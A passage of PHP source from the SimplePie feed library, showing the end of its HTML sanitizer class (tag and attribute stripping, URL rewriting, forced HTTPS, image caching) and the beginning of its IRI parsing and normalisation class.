public function strip_attributes($attribs = ['bgsound', 'expr', 'id', 'style', 'onclick', 'onerror', 'onfinish', 'onmouseover', 'onmouseout', 'onfocus', 'onblur', 'lowsrc', 'dynsrc'])
{
if ($attribs) {
if (is_array($attribs)) {
$this->strip_attributes = $attribs;
} else {
$this->strip_attributes = explode(',', $attribs);
}
} else {
$this->strip_attributes = [];
}
}
/**
* @param array<string, array<string, string>> $attribs
* @return void
*/
public function add_attributes(array $attribs = ['audio' => ['preload' => 'none'], 'iframe' => ['sandbox' => 'allow-scripts allow-same-origin'], 'video' => ['preload' => 'none']])
{
$this->add_attributes = $attribs;
}
/**
* @return void
*/
public function strip_comments(bool $strip = false)
{
$this->strip_comments = $strip;
}
/**
* @return void
*/
public function set_output_encoding(string $encoding = 'UTF-8')
{
$this->output_encoding = $encoding;
}
/**
* Set element/attribute key/value pairs of HTML attributes
* containing URLs that need to be resolved relative to the feed
*
* Defaults to |a|@href, |area|@href, |audio|@src, |blockquote|@cite,
* |del|@cite, |form|@action, |img|@longdesc, |img|@src, |input|@src,
* |ins|@cite, |q|@cite, |source|@src, |video|@src
*
* @since 1.0
* @param array<string, string|string[]>|null $element_attribute Element/attribute key/value pairs, null for default
* @return void
*/
public function set_url_replacements(?array $element_attribute = null)
{
if ($element_attribute === null) {
$element_attribute = [
'a' => 'href',
'area' => 'href',
'audio' => 'src',
'blockquote' => 'cite',
'del' => 'cite',
'form' => 'action',
'img' => [
'longdesc',
'src'
],
'input' => 'src',
'ins' => 'cite',
'q' => 'cite',
'source' => 'src',
'video' => [
'poster',
'src'
]
];
}
$this->replace_url_attributes = $element_attribute;
}
/**
* Set the list of domains for which to force HTTPS.
* @see \SimplePie\Misc::https_url()
* Example array('biz', 'example.com', 'example.org', 'www.example.net');
*
* @param string[] $domains list of domain names ['biz', 'example.com', 'example.org', 'www.example.net']
*
* @return void
*/
public function set_https_domains(array $domains)
{
$this->https_domains = [];
foreach ($domains as $domain) {
$domain = trim($domain, ". \t\n\r\0\x0B");
$segments = array_reverse(explode('.', $domain));
/** @var true|array<string, true|array<string, true|array<string, array<string, true|array<string, true|array<string, true>>>>>> */ // Needed for PHPStan.
$node = &$this->https_domains;
foreach ($segments as $segment) {//Build a tree
if ($node === true) {
break;
}
if (!isset($node[$segment])) {
$node[$segment] = [];
}
$node = &$node[$segment];
}
$node = true;
}
}
/**
* Check if the domain is in the list of forced HTTPS.
*
* @return bool
*/
protected function is_https_domain(string $domain)
{
$domain = trim($domain, '. ');
$segments = array_reverse(explode('.', $domain));
$node = &$this->https_domains;
foreach ($segments as $segment) {//Explore the tree
if (isset($node[$segment])) {
$node = &$node[$segment];
} else {
break;
}
}
return $node === true;
}
/**
* Force HTTPS for selected Web sites.
*
* @return string
*/
public function https_url(string $url)
{
return (
strtolower(substr($url, 0, 7)) === 'http://'
&& ($parsed = parse_url($url, PHP_URL_HOST)) !== false // Malformed URL
&& $parsed !== null // Missing host
&& $this->is_https_domain($parsed) // Should be forced?
) ? substr_replace($url, 's', 4, 0) // Add the 's' to HTTPS
: $url;
}
/**
* @param int-mask-of<SimplePie::CONSTRUCT_*> $type
* @param string $base
* @return string Sanitized data; false if output encoding is changed to something other than UTF-8 and conversion fails
*/
public function sanitize(string $data, int $type, string $base = '')
{
$data = trim($data);
if ($data !== '' || $type & \SimplePie\SimplePie::CONSTRUCT_IRI) {
if ($type & \SimplePie\SimplePie::CONSTRUCT_MAYBE_HTML) {
if (preg_match('/(&(#(x[0-9a-fA-F]+|[0-9]+)|[a-zA-Z0-9]+)|<\/[A-Za-z][^\x09\x0A\x0B\x0C\x0D\x20\x2F\x3E]*' . \SimplePie\SimplePie::PCRE_HTML_ATTRIBUTE . '>)/', $data)) {
$type |= \SimplePie\SimplePie::CONSTRUCT_HTML;
} else {
$type |= \SimplePie\SimplePie::CONSTRUCT_TEXT;
}
}
if ($type & \SimplePie\SimplePie::CONSTRUCT_BASE64) {
$data = base64_decode($data);
}
if ($type & (\SimplePie\SimplePie::CONSTRUCT_HTML | \SimplePie\SimplePie::CONSTRUCT_XHTML)) {
if (!class_exists('DOMDocument')) {
throw new \SimplePie\Exception('DOMDocument not found, unable to use sanitizer');
}
$document = new \DOMDocument();
$document->encoding = 'UTF-8';
// PHPStan seems to have trouble resolving int-mask because bitwise
// operators are used when operators are used when passing this parameter.
// https://github.com/phpstan/phpstan/issues/9384
/** @var int-mask-of<SimplePie::CONSTRUCT_*> $type */
$data = $this->preprocess($data, $type);
set_error_handler([Misc::class, 'silence_errors']);
$document->loadHTML($data);
restore_error_handler();
$xpath = new \DOMXPath($document);
// Strip comments
if ($this->strip_comments) {
/** @var \DOMNodeList<\DOMComment> */
$comments = $xpath->query('//comment()');
foreach ($comments as $comment) {
$parentNode = $comment->parentNode;
assert($parentNode !== null, 'For PHPStan, comment must have a parent');
$parentNode->removeChild($comment);
}
}
// Strip out HTML tags and attributes that might cause various security problems.
// Based on recommendations by Mark Pilgrim at:
// https://web.archive.org/web/20110902041826/http://diveintomark.org:80/archives/2003/06/12/how_to_consume_rss_safely
if ($this->strip_htmltags) {
foreach ($this->strip_htmltags as $tag) {
$this->strip_tag($tag, $document, $xpath, $type);
}
}
if ($this->rename_attributes) {
foreach ($this->rename_attributes as $attrib) {
$this->rename_attr($attrib, $xpath);
}
}
if ($this->strip_attributes) {
foreach ($this->strip_attributes as $attrib) {
$this->strip_attr($attrib, $xpath);
}
}
if ($this->add_attributes) {
foreach ($this->add_attributes as $tag => $valuePairs) {
$this->add_attr($tag, $valuePairs, $document);
}
}
// Replace relative URLs
$this->base = $base;
foreach ($this->replace_url_attributes as $element => $attributes) {
$this->replace_urls($document, $element, $attributes);
}
// If image handling (caching, etc.) is enabled, cache and rewrite all the image tags.
if ($this->image_handler !== '' && $this->enable_cache) {
$images = $document->getElementsByTagName('img');
foreach ($images as $img) {
if ($img->hasAttribute('src')) {
$image_url = $this->cache_namefilter->filter($img->getAttribute('src'));
$cache = $this->get_cache($image_url);
if ($cache->get_data($image_url, false)) {
$img->setAttribute('src', $this->image_handler . $image_url);
} else {
try {
$file = $this->get_http_client()->request(
Client::METHOD_GET,
$img->getAttribute('src'),
['X-FORWARDED-FOR' => $_SERVER['REMOTE_ADDR']]
);
} catch (ClientException $th) {
continue;
}
if ((!Misc::is_remote_uri($file->get_final_requested_uri()) || ($file->get_status_code() === 200 || $file->get_status_code() > 206 && $file->get_status_code() < 300))) {
if ($cache->set_data($image_url, ['headers' => $file->get_headers(), 'body' => $file->get_body_content()], $this->cache_duration)) {
$img->setAttribute('src', $this->image_handler . $image_url);
} else {
trigger_error("$this->cache_location is not writable. Make sure you've set the correct relative or absolute path, and that the location is server-writable.", E_USER_WARNING);
}
}
}
}
}
}
// Get content node
$div = null;
if (($item = $document->getElementsByTagName('body')->item(0)) !== null) {
$div = $item->firstChild;
}
// Finally, convert to a HTML string
$data = trim((string) $document->saveHTML($div));
if ($this->remove_div) {
$data = preg_replace('/^<div' . \SimplePie\SimplePie::PCRE_XML_ATTRIBUTE . '>/', '', $data);
// Cast for PHPStan, it is unable to validate a non-literal regex above.
$data = preg_replace('/<\/div>$/', '', (string) $data);
} else {
$data = preg_replace('/^<div' . \SimplePie\SimplePie::PCRE_XML_ATTRIBUTE . '>/', '<div>', $data);
}
// Cast for PHPStan, it is unable to validate a non-literal regex above.
$data = str_replace('</source>', '', (string) $data);
}
if ($type & \SimplePie\SimplePie::CONSTRUCT_IRI) {
$absolute = $this->registry->call(Misc::class, 'absolutize_url', [$data, $base]);
if ($absolute !== false) {
$data = $absolute;
}
}
if ($type & (\SimplePie\SimplePie::CONSTRUCT_TEXT | \SimplePie\SimplePie::CONSTRUCT_IRI)) {
$data = htmlspecialchars($data, ENT_COMPAT, 'UTF-8');
}
if ($this->output_encoding !== 'UTF-8') {
// This really returns string|false but changing encoding is uncommon and we are going to deprecate it, so let’s just lie to PHPStan in the interest of cleaner annotations.
/** @var string */
$data = $this->registry->call(Misc::class, 'change_encoding', [$data, 'UTF-8', $this->output_encoding]);
}
}
return $data;
}
/**
* @param int-mask-of<SimplePie::CONSTRUCT_*> $type
* @return string
*/
protected function preprocess(string $html, int $type)
{
$ret = '';
$html = preg_replace('%</?(?:html|body)[^>]*?'.'>%is', '', $html);
if ($type & ~\SimplePie\SimplePie::CONSTRUCT_XHTML) {
// Atom XHTML constructs are wrapped with a div by default
// Note: No protection if $html contains a stray </div>!
$html = '<div>' . $html . '</div>';
$ret .= '<!DOCTYPE html>';
$content_type = 'text/html';
} else {
$ret .= '<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">';
$content_type = 'application/xhtml+xml';
}
$ret .= '<html><head>';
$ret .= '<meta http-equiv="Content-Type" content="' . $content_type . '; charset=utf-8" />';
$ret .= '</head><body>' . $html . '</body></html>';
return $ret;
}
/**
* @param array<string>|string $attributes
* @return void
*/
public function replace_urls(DOMDocument $document, string $tag, $attributes)
{
if (!is_array($attributes)) {
$attributes = [$attributes];
}
if (!is_array($this->strip_htmltags) || !in_array($tag, $this->strip_htmltags)) {
$elements = $document->getElementsByTagName($tag);
foreach ($elements as $element) {
foreach ($attributes as $attribute) {
if ($element->hasAttribute($attribute)) {
$value = $this->registry->call(Misc::class, 'absolutize_url', [$element->getAttribute($attribute), $this->base]);
if ($value !== false) {
$value = $this->https_url($value);
$element->setAttribute($attribute, $value);
}
}
}
}
}
}
/**
* @param array<int, string> $match
* @return string
*/
public function do_strip_htmltags(array $match)
{
if ($this->encode_instead_of_strip) {
if (isset($match[4]) && !in_array(strtolower($match[1]), ['script', 'style'])) {
$match[1] = htmlspecialchars($match[1], ENT_COMPAT, 'UTF-8');
$match[2] = htmlspecialchars($match[2], ENT_COMPAT, 'UTF-8');
return "<$match[1]$match[2]>$match[3]</$match[1]>";
} else {
return htmlspecialchars($match[0], ENT_COMPAT, 'UTF-8');
}
} elseif (isset($match[4]) && !in_array(strtolower($match[1]), ['script', 'style'])) {
return $match[4];
} else {
return '';
}
}
/**
* @param int-mask-of<SimplePie::CONSTRUCT_*> $type
* @return void
*/
protected function strip_tag(string $tag, DOMDocument $document, DOMXPath $xpath, int $type)
{
$elements = $xpath->query('body//' . $tag);
if ($elements === false) {
throw new \SimplePie\Exception(sprintf(
'%s(): Possibly malformed expression, check argument #1 ($tag)',
__METHOD__
), 1);
}
if ($this->encode_instead_of_strip) {
foreach ($elements as $element) {
$fragment = $document->createDocumentFragment();
// For elements which aren't script or style, include the tag itself
if (!in_array($tag, ['script', 'style'])) {
$text = '<' . $tag;
if ($element->attributes !== null) {
$attrs = [];
foreach ($element->attributes as $name => $attr) {
$value = $attr->value;
// In XHTML, empty values should never exist, so we repeat the value
if (empty($value) && ($type & \SimplePie\SimplePie::CONSTRUCT_XHTML)) {
$value = $name;
}
// For HTML, empty is fine
elseif (empty($value) && ($type & \SimplePie\SimplePie::CONSTRUCT_HTML)) {
$attrs[] = $name;
continue;
}
// Standard attribute text
$attrs[] = $name . '="' . $attr->value . '"';
}
$text .= ' ' . implode(' ', $attrs);
}
$text .= '>';
$fragment->appendChild(new \DOMText($text));
}
$number = $element->childNodes->length;
for ($i = $number; $i > 0; $i--) {
if (($child = $element->childNodes->item(0)) !== null) {
$fragment->appendChild($child);
}
}
if (!in_array($tag, ['script', 'style'])) {
$fragment->appendChild(new \DOMText('</' . $tag . '>'));
}
if (($parentNode = $element->parentNode) !== null) {
$parentNode->replaceChild($fragment, $element);
}
}
return;
} elseif (in_array($tag, ['script', 'style'])) {
foreach ($elements as $element) {
if (($parentNode = $element->parentNode) !== null) {
$parentNode->removeChild($element);
}
}
return;
} else {
foreach ($elements as $element) {
$fragment = $document->createDocumentFragment();
$number = $element->childNodes->length;
for ($i = $number; $i > 0; $i--) {
if (($child = $element->childNodes->item(0)) !== null) {
$fragment->appendChild($child);
}
}
if (($parentNode = $element->parentNode) !== null) {
$parentNode->replaceChild($fragment, $element);
}
}
}
}
/**
* @return void
*/
protected function strip_attr(string $attrib, DOMXPath $xpath)
{
$elements = $xpath->query('//*[@' . $attrib . ']');
if ($elements === false) {
throw new \SimplePie\Exception(sprintf(
'%s(): Possibly malformed expression, check argument #1 ($attrib)',
__METHOD__
), 1);
}
/** @var \DOMElement $element */
foreach ($elements as $element) {
$element->removeAttribute($attrib);
}
}
/**
* @return void
*/
protected function rename_attr(string $attrib, DOMXPath $xpath)
{
$elements = $xpath->query('//*[@' . $attrib . ']');
if ($elements === false) {
throw new \SimplePie\Exception(sprintf(
'%s(): Possibly malformed expression, check argument #1 ($attrib)',
__METHOD__
), 1);
}
/** @var \DOMElement $element */
foreach ($elements as $element) {
$element->setAttribute('data-sanitized-' . $attrib, $element->getAttribute($attrib));
$element->removeAttribute($attrib);
}
}
/**
* @param array<string, string> $valuePairs
* @return void
*/
protected function add_attr(string $tag, array $valuePairs, DOMDocument $document)
{
$elements = $document->getElementsByTagName($tag);
/** @var \DOMElement $element */
foreach ($elements as $element) {
foreach ($valuePairs as $attrib => $value) {
$element->setAttribute($attrib, $value);
}
}
}
/**
* Get a DataCache
*
* @param string $image_url Only needed for BC, can be removed in SimplePie 2.0.0
*
* @return DataCache
*/
private function get_cache(string $image_url = ''): DataCache
{
if ($this->cache === null) {
// @trigger_error(sprintf('Not providing as PSR-16 cache implementation is deprecated since SimplePie 1.8.0, please use "SimplePie\SimplePie::set_cache()".'), \E_USER_DEPRECATED);
$cache = $this->registry->call(Cache::class, 'get_handler', [
$this->cache_location,
$image_url,
Base::TYPE_IMAGE
]);
return new BaseDataCache($cache);
}
return $this->cache;
}
/**
* Get a HTTP client
*/
private function get_http_client(): Client
{
if ($this->http_client === null) {
$this->http_client = new FileClient(
$this->registry,
[
'timeout' => $this->timeout,
'redirects' => 5,
'useragent' => $this->useragent,
'force_fsockopen' => $this->force_fsockopen,
'curl_options' => $this->curl_options,
]
);
}
return $this->http_client;
}
}
class_alias('SimplePie\Sanitize', 'SimplePie_Sanitize');
src/IRI.php 0000644 00000103767 15220516755 0006515 0 ustar 00 <?php
// SPDX-FileCopyrightText: 2004-2023 Ryan Parman, Sam Sneddon, Ryan McCue
// SPDX-FileCopyrightText: 2008 Steve Minutillo
// SPDX-License-Identifier: BSD-3-Clause
declare(strict_types=1);
namespace SimplePie;
/**
* IRI parser/serialiser/normaliser
*
* @property ?string $scheme
* @property ?string $userinfo
* @property ?string $host
* @property ?int $port
* @property-write int|string|null $port
* @property ?string $authority
* @property string $path
* @property ?string $query
* @property ?string $fragment
*/
class IRI
{
/**
* Scheme
*
* @var ?string
*/
protected $scheme = null;
/**
* User Information
*
* @var ?string
*/
protected $iuserinfo = null;
/**
* ihost
*
* @var ?string
*/
protected $ihost = null;
/**
* Port
*
* @var ?int
*/
protected $port = null;
/**
* ipath
*
* @var string
*/
protected $ipath = '';
/**
* iquery
*
* @var ?string
*/
protected $iquery = null;
/**
* ifragment
*
* @var ?string
*/
protected $ifragment = null;
/**
* Normalization database
*
* Each key is the scheme, each value is an array with each key as the IRI
* part and value as the default value for that part.
*
* @var array<string, array<string, mixed>>
*/
protected $normalization = [
'acap' => [
'port' => 674
],
'dict' => [
'port' => 2628
],
'file' => [
'ihost' => 'localhost'
],
'http' => [
'port' => 80,
'ipath' => '/'
],
'https' => [
'port' => 443,
'ipath' => '/'
],
];
/**
* Return the entire IRI when you try and read the object as a string
*
* @return string
*/
public function __toString()
{
return (string) $this->get_iri();
}
/**
* Overload __set() to provide access via properties
*
* @param string $name Property name
* @param mixed $value Property value
* @return void
*/
public function __set(string $name, $value)
{
$callable = [$this, 'set_' . $name];
if (is_callable($callable)) {
call_user_func($callable, $value);
} elseif (
$name === 'iauthority'
|| $name === 'iuserinfo'
|| $name === 'ihost'
|| $name === 'ipath'
|| $name === 'iquery'
|| $name === 'ifragment'
) {
call_user_func([$this, 'set_' . substr($name, 1)], $value);
}
}
/**
* Overload __get() to provide access via properties
*
* @param string $name Property name
* @return mixed
*/
public function __get(string $name)
{
// isset() returns false for null, we don't want to do that
// Also why we use array_key_exists below instead of isset()
$props = get_object_vars($this);
if (
$name === 'iri' ||
$name === 'uri' ||
$name === 'iauthority' ||
$name === 'authority'
) {
$return = $this->{"get_$name"}();
} elseif (array_key_exists($name, $props)) {
$return = $this->$name;
}
// host -> ihost
elseif (array_key_exists($prop = 'i' . $name, $props)) {
$name = $prop;
$return = $this->$prop;
}
// ischeme -> scheme
elseif (($prop = substr($name, 1)) && array_key_exists($prop, $props)) {
$name = $prop;
$return = $this->$prop;
} else {
trigger_error('Undefined property: ' . get_class($this) . '::' . $name, E_USER_NOTICE);
$return = null;
}
if ($return === null && isset($this->scheme, $this->normalization[$this->scheme][$name])) {
return $this->normalization[$this->scheme][$name];
}
return $return;
}
/**
* Overload __isset() to provide access via properties
*
* @param string $name Property name
* @return bool
*/
public function __isset(string $name)
{
return method_exists($this, 'get_' . $name) || isset($this->$name);
}
/**
* Overload __unset() to provide access via properties
*
* @param string $name Property name
* @return void
*/
public function __unset(string $name)
{
$callable = [$this, 'set_' . $name];
if (is_callable($callable)) {
call_user_func($callable, '');
}
}
/**
* Create a new IRI object, from a specified string
*
* @param string|null $iri
*/
public function __construct(?string $iri = null)
{
$this->set_iri($iri);
}
/**
* Clean up
* @return void
*/
public function __destruct()
{
$this->set_iri(null, true);
$this->set_path(null, true);
$this->set_authority(null, true);
}
/**
* Create a new IRI object by resolving a relative IRI
*
* Returns false if $base is not absolute, otherwise an IRI.
*
* @param IRI|string $base (Absolute) Base IRI
* @param IRI|string $relative Relative IRI
* @return IRI|false
*/
public static function absolutize($base, $relative)
{
if (!($relative instanceof IRI)) {
$relative = new IRI($relative);
}
if (!$relative->is_valid()) {
return false;
} elseif ($relative->scheme !== null) {
return clone $relative;
} else {
if (!($base instanceof IRI)) {
$base = new IRI($base);
}
if ($base->scheme !== null && $base->is_valid()) {
if ($relative->get_iri() !== '') {
if ($relative->iuserinfo !== null || $relative->ihost !== null || $relative->port !== null) {
$target = clone $relative;
$target->scheme = $base->scheme;
} else {
$target = new IRI();
$target->scheme = $base->scheme;
$target->iuserinfo = $base->iuserinfo;
$target->ihost = $base->ihost;
$target->port = $base->port;
if ($relative->ipath !== '') {
if ($relative->ipath[0] === '/') {
$target->ipath = $relative->ipath;
} elseif (($base->iuserinfo !== null || $base->ihost !== null || $base->port !== null) && $base->ipath === '') {
$target->ipath = '/' . $relative->ipath;
} elseif (($last_segment = strrpos($base->ipath, '/')) !== false) {
$target->ipath = substr($base->ipath, 0, $last_segment + 1) . $relative->ipath;
} else {
$target->ipath = $relative->ipath;
}
$target->ipath = $target->remove_dot_segments($target->ipath);
$target->iquery = $relative->iquery;
} else {
$target->ipath = $base->ipath;
if ($relative->iquery !== null) {
$target->iquery = $relative->iquery;
} elseif ($base->iquery !== null) {
$target->iquery = $base->iquery;
}
}
$target->ifragment = $relative->ifragment;
}
} else {
$target = clone $base;
$target->ifragment = null;
}
$target->scheme_normalization();
return $target;
}
return false;
}
}
/**
* Parse an IRI into scheme/authority/path/query/fragment segments
*
* @param string $iri
* @return array{
* scheme: string|null,
* authority: string|null,
* path: string,
* query: string|null,
* fragment: string|null,
* }|false
*/
protected function parse_iri(string $iri)
{
$iri = trim($iri, "\x20\x09\x0A\x0C\x0D");
if (preg_match('/^(?:(?P<scheme>[^:\/?#]+):)?(:?\/\/(?P<authority>[^\/?#]*))?(?P<path>[^?#]*)(?:\?(?P<query>[^#]*))?(?:#(?P<fragment>.*))?$/', $iri, $match, \PREG_UNMATCHED_AS_NULL)) {
// TODO: Remove once we require PHP ≥ 7.4.
$match['query'] = $match['query'] ?? null;
$match['fragment'] = $match['fragment'] ?? null;
return $match;
}
// This can occur when a paragraph is accidentally parsed as a URI
return false;
}
/**
* Remove dot segments from a path
*
* @param string $input
* @return string
*/
protected function remove_dot_segments(string $input)
{
$output = '';
while (strpos($input, './') !== false || strpos($input, '/.') !== false || $input === '.' || $input === '..') {
// A: If the input buffer begins with a prefix of "../" or "./", then remove that prefix from the input buffer; otherwise,
if (strpos($input, '../') === 0) {
$input = substr($input, 3);
} elseif (strpos($input, './') === 0) {
$input = substr($input, 2);
}
// B: if the input buffer begins with a prefix of "/./" or "/.", where "." is a complete path segment, then replace that prefix with "/" in the input buffer; otherwise,
elseif (strpos($input, '/./') === 0) {
$input = substr($input, 2);
} elseif ($input === '/.') {
$input = '/';
}
// C: if the input buffer begins with a prefix of "/../" or "/..", where ".." is a complete path segment, then replace that prefix with "/" in the input buffer and remove the last segment and its preceding "/" (if any) from the output buffer; otherwise,
elseif (strpos($input, '/../') === 0) {
$input = substr($input, 3);
$output = substr_replace($output, '', intval(strrpos($output, '/')));
} elseif ($input === '/..') {
$input = '/';
$output = substr_replace($output, '', intval(strrpos($output, '/')));
}
// D: if the input buffer consists only of "." or "..", then remove that from the input buffer; otherwise,
elseif ($input === '.' || $input === '..') {
$input = '';
}
// E: move the first path segment in the input buffer to the end of the output buffer, including the initial "/" character (if any) and any subsequent characters up to, but not including, the next "/" character or the end of the input buffer
elseif (($pos = strpos($input, '/', 1)) !== false) {
$output .= substr($input, 0, $pos);
$input = substr_replace($input, '', 0, $pos);
} else {
$output .= $input;
$input = '';
}
}
return $output . $input;
}
/**
* Replace invalid character with percent encoding
*
* @param string $string Input string
* @param string $extra_chars Valid characters not in iunreserved or
* iprivate (this is ASCII-only)
* @param bool $iprivate Allow iprivate
* @return string
*/
protected function replace_invalid_with_pct_encoding(string $string, string $extra_chars, bool $iprivate = false)
{
// Normalize as many pct-encoded sections as possible
$string = preg_replace_callback('/(?:%[A-Fa-f0-9]{2})+/', [$this, 'remove_iunreserved_percent_encoded'], $string);
\assert(\is_string($string), "For PHPStan: Should not occur, the regex is valid");
// Replace invalid percent characters
$string = preg_replace('/%(?![A-Fa-f0-9]{2})/', '%25', $string);
\assert(\is_string($string), "For PHPStan: Should not occur, the regex is valid");
// Add unreserved and % to $extra_chars (the latter is safe because all
// pct-encoded sections are now valid).
$extra_chars .= 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789-._~%';
// Now replace any bytes that aren't allowed with their pct-encoded versions
$position = 0;
$strlen = strlen($string);
while (($position += strspn($string, $extra_chars, $position)) < $strlen) {
$value = ord($string[$position]);
$character = 0;
// Start position
$start = $position;
// By default we are valid
$valid = true;
// No one byte sequences are valid due to the while.
// Two byte sequence:
if (($value & 0xE0) === 0xC0) {
$character = ($value & 0x1F) << 6;
$length = 2;
$remaining = 1;
}
// Three byte sequence:
elseif (($value & 0xF0) === 0xE0) {
$character = ($value & 0x0F) << 12;
$length = 3;
$remaining = 2;
}
// Four byte sequence:
elseif (($value & 0xF8) === 0xF0) {
$character = ($value & 0x07) << 18;
$length = 4;
$remaining = 3;
}
// Invalid byte:
else {
$valid = false;
$length = 1;
$remaining = 0;
}
if ($remaining) {
if ($position + $length <= $strlen) {
for ($position++; $remaining; $position++) {
$value = ord($string[$position]);
// Check that the byte is valid, then add it to the character:
if (($value & 0xC0) === 0x80) {
$character |= ($value & 0x3F) << (--$remaining * 6);
}
// If it is invalid, count the sequence as invalid and reprocess the current byte:
else {
$valid = false;
$position--;
break;
}
}
} else {
$position = $strlen - 1;
$valid = false;
}
}
// Percent encode anything invalid or not in ucschar
if (
// Invalid sequences
!$valid
// Non-shortest form sequences are invalid
|| $length > 1 && $character <= 0x7F
|| $length > 2 && $character <= 0x7FF
|| $length > 3 && $character <= 0xFFFF
// Outside of range of ucschar codepoints
// Noncharacters
|| ($character & 0xFFFE) === 0xFFFE
|| $character >= 0xFDD0 && $character <= 0xFDEF
|| (
// Everything else not in ucschar
$character > 0xD7FF && $character < 0xF900
|| $character < 0xA0
|| $character > 0xEFFFD
)
&& (
// Everything not in iprivate, if it applies
!$iprivate
|| $character < 0xE000
|| $character > 0x10FFFD
)
) {
// If we were a character, pretend we weren't, but rather an error.
if ($valid) {
$position--;
}
for ($j = $start; $j <= $position; $j++) {
$string = substr_replace($string, sprintf('%%%02X', ord($string[$j])), $j, 1);
$j += 2;
$position += 2;
$strlen += 2;
}
}
}
return $string;
}
/**
* Callback function for preg_replace_callback.
*
* Removes sequences of percent encoded bytes that represent UTF-8
* encoded characters in iunreserved
*
* @param array{string} $match PCRE match, a capture group #0 consisting of a sequence of valid percent-encoded bytes
* @return string Replacement
*/
protected function remove_iunreserved_percent_encoded(array $match)
{
// As we just have valid percent encoded sequences we can just explode
// and ignore the first member of the returned array (an empty string).
$bytes = explode('%', $match[0]);
// Initialize the new string (this is what will be returned) and that
// there are no bytes remaining in the current sequence (unsurprising
// at the first byte!).
$string = '';
$remaining = 0;
// these variables will be initialized in the loop but PHPStan is not able to detect it currently
$start = 0;
$character = 0;
$length = 0;
$valid = true;
// Loop over each and every byte, and set $value to its value
for ($i = 1, $len = count($bytes); $i < $len; $i++) {
$value = hexdec($bytes[$i]);
// If we're the first byte of sequence:
if (!$remaining) {
// Start position
$start = $i;
// By default we are valid
$valid = true;
// One byte sequence:
if ($value <= 0x7F) {
$character = $value;
$length = 1;
}
// Two byte sequence:
elseif (($value & 0xE0) === 0xC0) {
$character = ($value & 0x1F) << 6;
$length = 2;
$remaining = 1;
}
// Three byte sequence:
elseif (($value & 0xF0) === 0xE0) {
$character = ($value & 0x0F) << 12;
$length = 3;
$remaining = 2;
}
// Four byte sequence:
elseif (($value & 0xF8) === 0xF0) {
$character = ($value & 0x07) << 18;
$length = 4;
$remaining = 3;
}
// Invalid byte:
else {
$valid = false;
$remaining = 0;
}
}
// Continuation byte:
else {
// Check that the byte is valid, then add it to the character:
if (($value & 0xC0) === 0x80) {
$remaining--;
$character |= ($value & 0x3F) << ($remaining * 6);
}
// If it is invalid, count the sequence as invalid and reprocess the current byte as the start of a sequence:
else {
$valid = false;
$remaining = 0;
$i--;
}
}
// If we've reached the end of the current byte sequence, append it to Unicode::$data
if (!$remaining) {
// Percent encode anything invalid or not in iunreserved
if (
// Invalid sequences
!$valid
// Non-shortest form sequences are invalid
|| $length > 1 && $character <= 0x7F
|| $length > 2 && $character <= 0x7FF
|| $length > 3 && $character <= 0xFFFF
// Outside of range of iunreserved codepoints
|| $character < 0x2D
|| $character > 0xEFFFD
// Noncharacters
|| ($character & 0xFFFE) === 0xFFFE
|| $character >= 0xFDD0 && $character <= 0xFDEF
// Everything else not in iunreserved (this is all BMP)
|| $character === 0x2F
|| $character > 0x39 && $character < 0x41
|| $character > 0x5A && $character < 0x61
|| $character > 0x7A && $character < 0x7E
|| $character > 0x7E && $character < 0xA0
|| $character > 0xD7FF && $character < 0xF900
) {
for ($j = $start; $j <= $i; $j++) {
$string .= '%' . strtoupper($bytes[$j]);
}
} else {
for ($j = $start; $j <= $i; $j++) {
// Cast for PHPStan, this will always be a number between 0 and 0xFF so hexdec will return int.
$string .= chr((int) hexdec($bytes[$j]));
}
}
}
}
// If we have any bytes left over they are invalid (i.e., we are
// mid-way through a multi-byte sequence)
if ($remaining) {
for ($j = $start; $j < $len; $j++) {
$string .= '%' . strtoupper($bytes[$j]);
}
}
return $string;
}
/**
* @return void
*/
protected function scheme_normalization()
{
if ($this->scheme === null) {
return;
}
if (isset($this->normalization[$this->scheme]['iuserinfo']) && $this->iuserinfo === $this->normalization[$this->scheme]['iuserinfo']) {
$this->iuserinfo = null;
}
if (isset($this->normalization[$this->scheme]['ihost']) && $this->ihost === $this->normalization[$this->scheme]['ihost']) {
$this->ihost = null;
}
if (isset($this->normalization[$this->scheme]['port']) && $this->port === $this->normalization[$this->scheme]['port']) {
$this->port = null;
}
if (isset($this->normalization[$this->scheme]['ipath']) && $this->ipath === $this->normalization[$this->scheme]['ipath']) {
$this->ipath = '';
}
if (isset($this->normalization[$this->scheme]['iquery']) && $this->iquery === $this->normalization[$this->scheme]['iquery']) {
$this->iquery = null;
}
if (isset($this->normalization[$this->scheme]['ifragment']) && $this->ifragment === $this->normalization[$this->scheme]['ifragment']) {
$this->ifragment = null;
}
}
/**
* Check if the object represents a valid IRI. This needs to be done on each
* call as some things change depending on another part of the IRI.
*
* @return bool
*/
public function is_valid()
{
if ($this->ipath === '') {
return true;
}
$isauthority = $this->iuserinfo !== null || $this->ihost !== null ||
$this->port !== null;
if ($isauthority && $this->ipath[0] === '/') {
return true;
}
if (!$isauthority && (substr($this->ipath, 0, 2) === '//')) {
return false;
}
// Relative urls cannot have a colon in the first path segment (and the
// slashes themselves are not included so skip the first character).
if (!$this->scheme && !$isauthority &&
strpos($this->ipath, ':') !== false &&
strpos($this->ipath, '/', 1) !== false &&
strpos($this->ipath, ':') < strpos($this->ipath, '/', 1)) {
return false;
}
return true;
}
/**
* Set the entire IRI. Returns true on success, false on failure (if there
* are any invalid characters).
*
* @param string|null $iri
* @return bool
*/
public function set_iri(?string $iri, bool $clear_cache = false)
{
static $cache;
if ($clear_cache) {
$cache = null;
return false;
}
if (!$cache) {
$cache = [];
}
if ($iri === null) {
return true;
} elseif (isset($cache[$iri])) {
[
$this->scheme,
$this->iuserinfo,
$this->ihost,
$this->port,
$this->ipath,
$this->iquery,
$this->ifragment,
$return
] = $cache[$iri];
return $return;
}
$parsed = $this->parse_iri((string) $iri);
if (!$parsed) {
return false;
}
$return = $this->set_scheme($parsed['scheme'])
&& $this->set_authority($parsed['authority'])
&& $this->set_path($parsed['path'])
&& $this->set_query($parsed['query'])
&& $this->set_fragment($parsed['fragment']);
$cache[$iri] = [
$this->scheme,
$this->iuserinfo,
$this->ihost,
$this->port,
$this->ipath,
$this->iquery,
$this->ifragment,
$return
];
return $return;
}
/**
* Set the scheme. Returns true on success, false on failure (if there are
* any invalid characters).
*
* @param string|null $scheme
* @return bool
*/
